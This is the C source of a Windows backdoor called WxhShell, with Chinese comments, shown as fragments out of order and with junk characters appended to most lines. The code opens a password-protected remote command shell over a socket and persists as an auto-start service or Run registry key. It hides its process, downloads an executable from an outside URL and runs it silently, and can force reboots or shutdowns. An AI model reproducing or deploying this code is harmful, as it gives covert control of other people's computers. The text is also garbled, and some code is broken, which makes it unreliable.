    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -6aGcPq  
    else { 5a&[NN  
    closesocket(wsh); : DCj2"  
    ExitThread(0); pTX{j=n!  
    } /|bir6Y:  
    break; "n=`{~F  
    } xzbyar<  
  // 获取shell OIe {Sx{y  
  case 's': { ,0[bzk  
    CmdShell(wsh); S9t_2%e  
    closesocket(wsh); 1BmevE a)  
    ExitThread(0); i\ X Ok!  
    break; t=d~\_Oa  
  } HBXp#$dPc  
  // 退出 =(3Qbb1i  
  case 'x': {  +,gI|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b(&2/|hd  
    CloseIt(wsh); :w_Zr5H]  
    break; mpIRe@#Z  
    } 5M;fh)fT  
  // 离开 -yy&q9  
  case 'q': { <}L`d(E@f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k:nr!Y<  
    closesocket(wsh); [>=D9I@~  
    WSACleanup(); K, WNM S  
    exit(1); 4w}\2&=  
    break; cAogz/<S  
        } z AacX@  
  } DyD#4J)E  
  } E;fYL]j/oZ  
Hl8-1M$&  
  // 提示信息 !vHnMY~AG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <=l!~~%  
} {Nuwz|Ci  
  } U"v(9m@  
No=Ig-It  
  return; R#"kh/M  
} s7A{<>:  
k"uqso/  
// shell模块句柄 C7dy{:y`  
int CmdShell(SOCKET sock) ]8NNxaE3(  
{ ! k)}p_e  
STARTUPINFO si; ;XMbjWc  
ZeroMemory(&si,sizeof(si)); Zrr3='^s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mqrP0/sN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; . p^='Kz?  
PROCESS_INFORMATION ProcessInfo; I3uaEv7OZc  
char cmdline[]="cmd"; gLa# y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d+[yW7%J  
  return 0; Cg?D<l4  
} #'^!@+)  
tV<}!~0,*  
// 自身启动模式 iW(HOsA  
int StartFromService(void) sU^2I v\%  
{ M`*B/Fh 2  
typedef struct N6S0(%  
{ s4<[f%^  
  DWORD ExitStatus; ClCb.Ozj4  
  DWORD PebBaseAddress; ID & Iz  
  DWORD AffinityMask; _ r0oOpE  
  DWORD BasePriority; &^Zo}F2V  
  ULONG UniqueProcessId; D}XyT/8G3  
  ULONG InheritedFromUniqueProcessId; E{[c8l2B  
}   PROCESS_BASIC_INFORMATION; F#Uxl%h  
>eQ;\j  
PROCNTQSIP NtQueryInformationProcess; (YVl5}V  
G"T)+! 6t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TR L4r_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `C%,Nj  
: ~"^st_[!  
  HANDLE             hProcess; =QHW>v  
  PROCESS_BASIC_INFORMATION pbi; }QU9+<Z[r  
}L^Yoq]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IsxPm9P2<  
  if(NULL == hInst ) return 0; (cAv :EKpo  
+Pd&YfU9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _A|1_^[G(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z6#N f,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eS8tsI  
,>A9OTSN\  
  if (!NtQueryInformationProcess) return 0; TviC1 {2  
@C62%fU{5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ywXerz7dUk  
  if(!hProcess) return 0; Y5&Jgn.l  
1_%jDMYH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .;ml[DXH  
"aHY]E{  
  CloseHandle(hProcess); nud,ag  
PwU}<Hrl]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >d!w&0z>  
if(hProcess==NULL) return 0; O+%Y1=S[WQ  
%Qgo0  
HMODULE hMod; ^N#kW-i  
char procName[255]; 'C)^hj.  
unsigned long cbNeeded; '}dlVf  
pN6!IxN$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zhY V M Q  
I~\j%zD  
  CloseHandle(hProcess); bAms-cXm  
-%*>z'|{  
if(strstr(procName,"services")) return 1; // 以服务启动 8+{WH/}y8  
}`&#{>]2  
  return 0; // 注册表启动 UeV2`zIg`  
} D-\\L[  
mVfg+d(  
// 主模块 ]|18tVXc  
int StartWxhshell(LPSTR lpCmdLine) 4j|]=58  
{ fIN8::Cs[  
  SOCKET wsl; rp u9  
BOOL val=TRUE; M>P-0IC  
  int port=0; ;ZPAnd:pb  
  struct sockaddr_in door; .%_scNP  
$%ZEP> ]  
  if(wscfg.ws_autoins) Install(); X&nkc/erx  
5|f[evQj<S  
port=atoi(lpCmdLine); 7r 07N'  
?6+GE_VZ  
if(port<=0) port=wscfg.ws_port; b2u_1P\  
"(5A 5>  
  WSADATA data; *q_ .y\D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FKY|xG9  
Ay;=1g)8+f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p)vyZY[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zk=5uKcPE  
  door.sin_family = AF_INET; 9#{?*c6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p/>}{Q )Y  
  door.sin_port = htons(port); wcUf?`21,  
RKFj6u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7\@[e, ^9  
closesocket(wsl); hu%rp{m^,  
return 1; cG1-.,r  
} oNY;z-QK  
\g< M\3f  
  if(listen(wsl,2) == INVALID_SOCKET) { PeEf=3  
closesocket(wsl); :]iV*zo_  
return 1; *i|O!h1St  
} NlXHOUw)u  
  Wxhshell(wsl); x!fvSoHp  
  WSACleanup(); Kyw Dp37^  
" NnUu 8x  
return 0; H8.U#%  
u:tLO3VfJ  
} b<};"H0a  
w]X~I/6g  
// 以NT服务方式启动 T V\21  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?VS(W  
{ c7X5sMM,  
DWORD   status = 0; b/cc\d<  
  DWORD   specificError = 0xfffffff; b7Jk{x #u  
qFp }+s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (|L0s)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fC+<n{"C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m-S4"!bl  
  serviceStatus.dwWin32ExitCode     = 0; eE5U|y)_  
  serviceStatus.dwServiceSpecificExitCode = 0; }eb}oK  
  serviceStatus.dwCheckPoint       = 0; z40uY]Ck  
  serviceStatus.dwWaitHint       = 0; +168!Jw;  
W(a31d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `VY -3  
  if (hServiceStatusHandle==0) return; bDVz+*bU}  
pt<!b0G  
status = GetLastError(); &Q 7Q1`S  
  if (status!=NO_ERROR) +pp|Qgr 3  
{ =UYZ){rt9E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?ORG<11a  
    serviceStatus.dwCheckPoint       = 0; dPgN*Bdv  
    serviceStatus.dwWaitHint       = 0; Jj4!O3\I  
    serviceStatus.dwWin32ExitCode     = status; +#7 e?B  
    serviceStatus.dwServiceSpecificExitCode = specificError; *>,8+S33r{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .)~IoIW=  
    return; URS6 LM  
  } p9rnhqH6  
I!3qb-.Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #8iRWm0*6  
  serviceStatus.dwCheckPoint       = 0; "4"gHs  
  serviceStatus.dwWaitHint       = 0; d?^bCf+<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {eA0I\c(C  
} @T[}] e  
aal5d_Y  
// 处理NT服务事件,比如:启动、停止 aF1i!Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !PJD+SrG  
{ v MTWtc!6  
switch(fdwControl) \9T CP;{  
{ /\P3UrQ&]  
case SERVICE_CONTROL_STOP: Z~)Bh~^A  
  serviceStatus.dwWin32ExitCode = 0; B 3<T#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hvCX,^LoJ  
  serviceStatus.dwCheckPoint   = 0; hbdq'2!Qr  
  serviceStatus.dwWaitHint     = 0; 89ivyv;]U  
  { dlkxA^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); },G6IuH%  
  } ]`39E"zY  
  return; _1_CYrUc  
case SERVICE_CONTROL_PAUSE: U;f~Q6iu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a<-NB9o~v  
  break; " UaUaSg#  
case SERVICE_CONTROL_CONTINUE: ~/s(.oji  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6cH.s+  
  break; #AHX{<  
case SERVICE_CONTROL_INTERROGATE: v&6I\1  
  break; gz8>uGx&V!  
}; QII-9 RxX"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O2./?Ye  
} A3D"b9<D  
<nDuN*|  
// 标准应用程序主函数 @H[)U/.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .`qw8e}y#'  
{ x&>zD0\ :\  
Q${0(#Nu  
// 获取操作系统版本 =yo?]ZS  
OsIsNt=GetOsVer(); M ^gva?{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <Vucr   
 JwEQR  
  // 从命令行安装 W2cgxT  
  if(strpbrk(lpCmdLine,"iI")) Install(); Xm,w.|dx  
1KwUp0% &  
  // 下载执行文件 A'Q=Do E  
if(wscfg.ws_downexe) { Mg3>/!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2;X{ZLo  
  WinExec(wscfg.ws_filenam,SW_HIDE); b.HfxYt(  
} trD-qi  
^W!w~g+  
if(!OsIsNt) { #mu3`,9V  
// 如果时win9x,隐藏进程并且设置为注册表启动 2_i/ F)W  
HideProc(); Sh&n DdF"  
StartWxhshell(lpCmdLine); 'MZX"t  
} ?Pg{nlJvq  
else PNVYW?l  
  if(StartFromService()) anLSD/'4W  
  // 以服务方式启动 b5WtL+Z  
  StartServiceCtrlDispatcher(DispatchTable); z+IHt(  
else O*% 1   
  // 普通方式启动 7;0$UYDU*  
  StartWxhshell(lpCmdLine); ,m ^q >  
.3Ex=aQcX  
return 0; "Z xM,kI  
} *^agwQ`  
YI[y/~!  
S ?v^/F  
xZ2^lsY  
=========================================== ~Q<h,P  
?+6w8j%\  
`Hj{XIOx  
>IZ|:lsxE  
2Lravb3  
e'%"G{(D  
" PEA<H0  
2|a@,TW}-  
#include <stdio.h> tR`'( *wh  
#include <string.h> x@^Kd*fo  
#include <windows.h> OJX* :Q  
#include <winsock2.h> "h.-qQGU%  
#include <winsvc.h> B,rpc\_  
#include <urlmon.h> "p,TYjT?R  
xnz(hz6  
#pragma comment (lib, "Ws2_32.lib") Th"0Cc)  
#pragma comment (lib, "urlmon.lib") )1de<# qM  
$:&?!>H  
#define MAX_USER   100 // 最大客户端连接数 2@!Ou$W  
#define BUF_SOCK   200 // sock buffer 6k14xPj  
#define KEY_BUFF   255 // 输入 buffer {|cuu"j26  
xOfZ9@VU  
#define REBOOT     0   // 重启 kFCjko  
#define SHUTDOWN   1   // 关机 ]<y _ =>  
g$=y#<2?  
#define DEF_PORT   5000 // 监听端口 *c"tW8uR  
2oL~N*^C  
#define REG_LEN     16   // 注册表键长度 B^8]quOH  
#define SVC_LEN     80   // NT服务名长度 y9<]F6TT  
<$m=@@qg  
// 从dll定义API HI+87f_Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c{7<z9U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); . Y@)3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w?u4-GT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H~fX >6>  
mC-'z  
// wxhshell配置信息 h7 uv0a~0  
struct WSCFG { wXj!bh8\r  
  int ws_port;         // 监听端口 =lyP &u  
  char ws_passstr[REG_LEN]; // 口令 y]9PLch]vZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no AfQ?jKk&{'  
  char ws_regname[REG_LEN]; // 注册表键名 u+ wKs`   
  char ws_svcname[REG_LEN]; // 服务名 (WoKrd.!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z>n<+tso  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZAK NyA2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M{sn{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >$^v@jf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |[%CFm}+?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Glz yFj  
RDFOUqS  
}; .Ioj]r  
UXU!sd  
// default Wxhshell configuration (t^&L  
struct WSCFG wscfg={DEF_PORT, Os1o!w:m5  
    "xuhuanlingzhe", xRTr<j0s  
    1, QtF'x<cB  
    "Wxhshell", W_]Su  
    "Wxhshell", 52RFB!Z[  
            "WxhShell Service", D4';QCwo  
    "Wrsky Windows CmdShell Service", WnATgY t  
    "Please Input Your Password: ", u+U '|6)E  
  1, I\8f`l  
  "http://www.wrsky.com/wxhshell.exe", |dLA D4%  
  "Wxhshell.exe" R9dC$Y]\M  
    }; g 0=Q>TzY  
zYL</!6a[  
// 消息定义模块 PxqRb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |Wo_5|E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~c;D@.e\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; | .8lS3C  
char *msg_ws_ext="\n\rExit."; 6Vq]AQx  
char *msg_ws_end="\n\rQuit."; BK+(Uf;g  
char *msg_ws_boot="\n\rReboot..."; HizMjJ|  
char *msg_ws_poff="\n\rShutdown..."; Muhq,>!U  
char *msg_ws_down="\n\rSave to "; tA,#!Z0  
OfSy_#aEK  
char *msg_ws_err="\n\rErr!"; S7/0B4[  
char *msg_ws_ok="\n\rOK!"; E~k_4z% M  
;t^8lC?>V  
char ExeFile[MAX_PATH]; oM')NIW@  
int nUser = 0; 9!aQ@ J^  
HANDLE handles[MAX_USER]; NrC (.*?m  
int OsIsNt; h[Hn*g  
M=HP!hn  
SERVICE_STATUS       serviceStatus; MV+S.`R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; > `uk2QdC  
!a(#G7zA  
// 函数声明 wK0= I\WN9  
int Install(void); dcK7Dd->  
int Uninstall(void); #<^ngoOj  
int DownloadFile(char *sURL, SOCKET wsh); Ax'jNol  
int Boot(int flag); 8ec6J*b  
void HideProc(void); ."8bW^:  
int GetOsVer(void); z } L3//  
int Wxhshell(SOCKET wsl); \5k^zGF4o  
void TalkWithClient(void *cs); k!%[W,*  
int CmdShell(SOCKET sock); g91X*$`]  
int StartFromService(void); @A-*XJNS":  
int StartWxhshell(LPSTR lpCmdLine); Iy2KOv@a5  
%Pz'D6 /  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !A5UT-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $U{ \T4  
]+ \]2`?  
// 数据结构和表定义 ?2;gmZd7  
SERVICE_TABLE_ENTRY DispatchTable[] = i]qVT)j  
{ |C MKY  
{wscfg.ws_svcname, NTServiceMain}, wZ^ 7#yX>  
{NULL, NULL} >9h@Dj[|!  
}; 8SG*7[T7  
 3,7SGt r  
// 自我安装 /1h 0 l;  
int Install(void) K1vm [Ne  
{ RsY7F;  
  char svExeFile[MAX_PATH]; `#X\@?'5  
  HKEY key; 0cd`. ZF  
  strcpy(svExeFile,ExeFile); P^1+;dL,D  
x{$~u2|  
// 如果是win9x系统,修改注册表设为自启动 2g)W-M  
if(!OsIsNt) { s@WF[S7D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f1Ak0s,zrc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I 0/enL  
  RegCloseKey(key); c[/h7!/aH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OZHQnvZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ws{2 0  
  RegCloseKey(key); L(a){<c  
  return 0; K#O8P+n5[  
    } sQBl9E'!be  
  } yAge2m]<B  
} rPk=9I  
else { |_=o0l f  
q- U/JC  
// 如果是NT以上系统,安装为系统服务 D"5uN0Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?1r>t"e5  
if (schSCManager!=0) q~3dbj  
{ O<@S,/Q4  
  SC_HANDLE schService = CreateService kt.y"^  
  ( Cg~GlZk}  
  schSCManager, Z+mesj?.  
  wscfg.ws_svcname, 5#v  
  wscfg.ws_svcdisp, /uTU*Oe  
  SERVICE_ALL_ACCESS, B&tU~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fgb%SIi?  
  SERVICE_AUTO_START, ~"<AYJlO  
  SERVICE_ERROR_NORMAL, pH?tr  
  svExeFile, MZpG1  
  NULL, ERql^Yr  
  NULL, qqm7p ,j  
  NULL, mOLP77(o  
  NULL, Cst:5m0!  
  NULL S 1%/ee3  
  ); pa7Iz^i  
  if (schService!=0) ) o)k~6uT  
  { b*-g@S  
  CloseServiceHandle(schService); ur'a{BI2R  
  CloseServiceHandle(schSCManager); '>GZB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L_>j SP  
  strcat(svExeFile,wscfg.ws_svcname); XQ+KI:g2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .?gpI Zv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ' (JSU   
  RegCloseKey(key); MjO.s+I  
  return 0; rtl|zCst  
    } PMDx5-{A/t  
  } ]F,mj-?4x  
  CloseServiceHandle(schSCManager); !'4HUB>+  
} ?m)3n0Uh  
} R7/"ye:7J  
f0 ;Fokt(  
return 1; yQ33JQr  
} a88(,:t  
~w<u!  
// 自我卸载 {Jv m *   
int Uninstall(void) BE54^U  
{ Cf-R?gn]  
  HKEY key; &^R0kCF`  
qO yg&]7  
if(!OsIsNt) { P= e3f(M2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =Q % F~  
  RegDeleteValue(key,wscfg.ws_regname); *c\:ogd  
  RegCloseKey(key); D ^ mfWJS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QLq^[ >n  
  RegDeleteValue(key,wscfg.ws_regname); w7.I0)MH  
  RegCloseKey(key); vOb=>  
  return 0; TFX*kk &R  
  } ;QT.|.t6  
} S7tc  
} VEolyPcsg&  
else { gm**9]k^{  
oW:p6d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L-7?:  
if (schSCManager!=0) )qGw!^8  
{ 67/&AiS?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <&n\)R4C1  
  if (schService!=0) p'lL2 n$E  
  {  !,rp|  
  if(DeleteService(schService)!=0) { ,_K /e  
  CloseServiceHandle(schService); d" T">Og)  
  CloseServiceHandle(schSCManager); aS^ 4dEJ  
  return 0; Q@]QPpe  
  } `0@onDQVc=  
  CloseServiceHandle(schService); /8Sg<  
  } fc'NU(70c  
  CloseServiceHandle(schSCManager); faqOGAb  
} nf,R+oX  
} CzP?J36W^  
3` ov?T(H  
return 1; jhd&\z-  
} $^ \8-k "  
mnK SO  
// 从指定url下载文件 Tw:j}ERq  
int DownloadFile(char *sURL, SOCKET wsh) 2}Ga   
{ z1LN|+\}  
  HRESULT hr; `lAe2l^  
char seps[]= "/"; |sf&t  
char *token; c/fU0cA@  
char *file; 9,7IsT8  
char myURL[MAX_PATH]; ; ^waUJ\Z  
char myFILE[MAX_PATH]; 3)jFv7LAU  
Te%2(w,B  
strcpy(myURL,sURL); :'*;>P .(  
  token=strtok(myURL,seps); sdk%~RN0T  
  while(token!=NULL) [TUy><Z  
  { Hw 7   
    file=token; ),9^hJ1+@  
  token=strtok(NULL,seps); 9#K,@X5 j  
  } w +QXSa_D  
^_6.*Mvx  
GetCurrentDirectory(MAX_PATH,myFILE); sEpY&6*  
strcat(myFILE, "\\"); Eiqx1ZM  
strcat(myFILE, file); OhC%5=a7  
  send(wsh,myFILE,strlen(myFILE),0); ]L/h,bVI1  
send(wsh,"...",3,0); "MH_hzbBF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H Aq  
  if(hr==S_OK) E$B7E@(U  
return 0; [ML%u$-  
else oBfh1/< <a  
return 1; "bI'XaSv  
)%8 ;C]G;  
} c{YBCWA  
aRPpDSR?l  
// 系统电源模块 W(^R-&av  
int Boot(int flag) FsZW,  
{ #G'Y 2l  
  HANDLE hToken; qmNgEz%  
  TOKEN_PRIVILEGES tkp; >HvgU_  
}m!L2iK4qk  
  if(OsIsNt) { 3v~804kWB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JmHEYPt0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (/x%zmY;/U  
    tkp.PrivilegeCount = 1; nE$8-*BZ_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HYd&.*41rE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6Fp}U  
if(flag==REBOOT) { A~MAaw!YE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |y,%dFNLf  
  return 0; >=G-^z:  
} mB.ybrig  
else { IM""s]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P ?- #d\qi  
  return 0; xq#YBi,  
} du,mbTQib  
  } [sxJ<  
  else { >ZAb9=/M)F  
if(flag==REBOOT) { oD0WHp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [1OX: O|  
  return 0; rCOH*m&  
} 0)@7$Xhf  
else { }n!$)W*?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +M@,CbqD  
  return 0; H0!W:cIS;l  
} ;,d^=:S6@  
} F+%6?2 J  
s8i@HO  
return 1; FU;b8{Y  
} "])yV    
--t"X<.z  
// win9x进程隐藏模块 BU3VXnqT[  
void HideProc(void) $K_G|Wyi  
{ 3>Ne_kY  
h'Gs$o7#P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >!o||Yn  
  if ( hKernel != NULL ) CN7 2 E  
  { N*Is_V\R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hFLD2 <   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Qn=#KS8=J  
    FreeLibrary(hKernel); ]UtfI  
  } $2tPqZ>  
I.C,y\  
return; NeG$;z7  
} y(^hlX6gQ  
O r {9?;G  
// 获取操作系统版本 #3fS_;G  
int GetOsVer(void) hn$l<8=Q_  
{ -w>2!@8  
  OSVERSIONINFO winfo; ; M)l7f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Qyh_o  
  GetVersionEx(&winfo); u 2)#Ml  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uA`EJ )d  
  return 1; G54,`uz2  
  else n@`D:;?{  
  return 0; E{):z g  
} Ptj,9bf<\  
Ub>Pl,~'  
// 客户端句柄模块 l_?r#Qc7  
int Wxhshell(SOCKET wsl) 0!Zp4>l\Z  
{ 0uw3[,I   
  SOCKET wsh; pwu8LQ3b{O  
  struct sockaddr_in client; !YM;5vte+  
  DWORD myID; ,WvCslZ  
>~+'V.CNW  
  while(nUser<MAX_USER) CLQE@kF;  
{ ;%#.d$cU  
  int nSize=sizeof(client); 7v{X?86&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zB/)_AW  
  if(wsh==INVALID_SOCKET) return 1; ")gd)_FOS  
GjHV|)^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Qp]-:b  
if(handles[nUser]==0) -W6r.E$mC  
  closesocket(wsh); EWU(Al T  
else cx+li4v  
  nUser++; XIS.0]~  
  } '4T]=s~N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V~9vf*X  
@bkZ< Gq  
  return 0; %.NOQ<@W  
} ITUwIpA E  
:)djHPP*  
// 关闭 socket kdr?I9kwW  
void CloseIt(SOCKET wsh) !F^j\  
{ |z]O@@j$  
closesocket(wsh); Xp_3EQl  
nUser--; *>=|"ff  
ExitThread(0); R)[ l 3  
} yf lt2 R  
bwr}Ge  
// 客户端请求句柄 o%~PWA*Qp  
void TalkWithClient(void *cs) (toN? ?r  
{ @,=E[c 8  
Q')0 T>F-  
  SOCKET wsh=(SOCKET)cs; UNoNsmP  
  char pwd[SVC_LEN]; #3+-vyZm  
  char cmd[KEY_BUFF]; Os9;;^k  
char chr[1]; >3{l"SPU  
int i,j; v?9  
 e>FK5rz  
  while (nUser < MAX_USER) { UNc[h&@_  
H&yK{0H  
if(wscfg.ws_passstr) { & rsNB:!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r X^wNH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xn=/SIS  
  //ZeroMemory(pwd,KEY_BUFF); O<H5W|cM  
      i=0; 4a]$4LQV  
  while(i<SVC_LEN) { ~EV7E F  
0/vmj,&B(  
  // 设置超时 7,pn0,HI  
  fd_set FdRead; XSw!_d  
  struct timeval TimeOut; z. 6-D  
  FD_ZERO(&FdRead); A.D@21py  
  FD_SET(wsh,&FdRead); e2P ds`  
  TimeOut.tv_sec=8; H7I&Ky  
  TimeOut.tv_usec=0; <8'-azpJ6<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t+2!"Jr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Vk#wJ-  
F$!K/Mm[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9q4%s?)j  
  pwd=chr[0]; O6P{+xj$  
  if(chr[0]==0xd || chr[0]==0xa) { oX;D|8 f  
  pwd=0; App9um3:  
  break; Kgb 3>r  
  } e*zt;SR  
  i++; O< \i{4}}  
    } K<_bG<tm_  
@N?u{|R:d  
  // 如果是非法用户,关闭 socket 1R e5)Y:i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /W vgC)  
} 8 <~E;:  
)-RI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iaq+#k@V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |KC!6<}T~9  
Pd~{XM,yfW  
while(1) { C `>1x`n  
S(c&XJR  
  ZeroMemory(cmd,KEY_BUFF); GJ3@".+6  
pKxq\U  
      // 自动支持客户端 telnet标准   )PU_'n=>  
  j=0; `!JcQ'u  
  while(j<KEY_BUFF) { #cZ<[K q6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [5iBXOmpS=  
  cmd[j]=chr[0]; ;mi+[`E  
  if(chr[0]==0xa || chr[0]==0xd) { Oh|KbM*vS  
  cmd[j]=0; =:5o"g  
  break; Q`ALyp,9b  
  } 8d!t"oj68  
  j++; Y >83G`*}b  
    } I|SQhbi  
XEB1%. p  
  // 下载文件 ';\v:dP  
  if(strstr(cmd,"http://")) { Cd"cU~HAB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6^'BhHP  
  if(DownloadFile(cmd,wsh)) &azy1.i~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _@gd9Fi7J  
  else |_Tp:][mf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uE]kv  
  } /3!c ;(  
  else { DC-tBbQkk  
'Pm.b}p<  
    switch(cmd[0]) { CBVL/pxy  
  #ox &=MY  
